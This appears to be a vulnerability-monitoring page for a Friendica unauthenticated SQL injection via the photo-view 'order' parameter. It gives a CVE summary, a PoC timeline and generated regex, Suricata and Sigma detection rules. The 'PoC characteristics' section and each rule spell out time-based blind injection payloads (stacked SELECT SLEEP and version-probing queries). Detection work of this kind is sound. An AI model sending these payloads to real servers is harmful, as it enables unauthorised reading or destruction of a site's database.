Friendica
Friendica Friendica - SQL Injection
An SQL injection vulnerability in Friendica through the 2026.08-dev branch allows unauthenticated remote attackers to execute arbitrary SQL statements via the photo-view order parameter. The parameter is concatenated unescaped into a SHOW COLUMNS query via a bare PDO::query() call, enabling stacked statement injection. An unauthenticated attacker can read, modify, or delete the entire database.
Affected versions and mitigation
From the CVE record and the vendor's references.Affected
- <= 2026.08-dev
Mitigation
The record names no fix. Check the vendor advisory below.
Timeline
Days relative to CVE publicationFirst public PoC 2.8 days after publication; not in CISA KEV. First PoC: abdugafforov-bobur/CVE-2026-72550-poc (created 14 Aug 2026, found by us: backfilled).
PoC repositories
Found on GitHub.1 PoCs
PoCs 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| abdugafforov-bobur/CVE-2026-72550-poc | 14 Aug 2026 +2.8 d | 0 | PoC |
Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.
PoC characteristics
What to hunt for in your logs · from 1 PoC repoGET /photos/alice/image/RESOURCE_ID
- Query
order=createdorder=x';SELECT SLEEP(5)-- -order=x';SELECT IF(SUBSTRING(@@version,1,1)='1',SLEEP(5),0)-- -order=x';SELECT IF(SUBSTRING(@@version,1,1)='9',SLEEP(5),0)-- -- Ports
- 8176
- Seen in
- 1 repo: abdugafforov-bobur/CVE-2026-72550-poc
- Evidence
- abdugafforov-bobur/CVE-2026-72550-poc/README.md:68 abdugafforov-bobur/CVE-2026-72550-poc/README.md:72 abdugafforov-bobur/CVE-2026-72550-poc/README.md:87 abdugafforov-bobur/CVE-2026-72550-poc/README.md:91
Regex
Generated from PoC characteristics; not yet reviewed. Matches the request path and query.
(?i)^/photos/alice/image/RESOURCE_ID\?(?:.*&)?order=created.*order=x';SELECT SLEEP\(5\)-- -.*order=x';SELECT IF\(SUBSTRING\(@@version,1,1\)='1',SLEEP\(5\),0\)-- -.*order=x';SELECT IF\(SUBSTRING\(@@version,1,1\)='9',SLEEP\(5\),0\)-- -
Suricata
Template generated from PoC characteristics. Review before deploying.
alert http any any -> $HOME_NET [8176] (msg:"GG PoC-Monitor CVE-2026-72550 Friendica Friendica exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/photos/alice/image/RESOURCE_ID"; http.uri; content:"order=created"; http.uri; content:"order=x'|3b|SELECT SLEEP(5)-- -"; http.uri; content:"order=x'|3b|SELECT IF(SUBSTRING(@@version,1,1)='1',SLEEP(5),0)-- -"; http.uri; content:"order=x'|3b|SELECT IF(SUBSTRING(@@version,1,1)='9',SLEEP(5),0)-- -"; reference:url,poc.griffinguard.io/cve/CVE-2026-72550; classtype:web-application-attack; sid:9756198; rev:1;)
Sigma
Template generated from PoC characteristics. Review before deploying.
title: Friendica Friendica exploit attempt (CVE-2026-72550)
id: gg-pocmon-cve-2026-72550-9756198
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-72550. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-72550
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/photos/alice/image/RESOURCE_ID'
cs-uri-query|contains|all:
- 'order=created'
- 'order=x'';SELECT SLEEP(5)-- -'
- 'order=x'';SELECT IF(SUBSTRING(@@version,1,1)=''1'',SLEEP(5),0)-- -'
- 'order=x'';SELECT IF(SUBSTRING(@@version,1,1)=''9'',SLEEP(5),0)-- -'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026.72550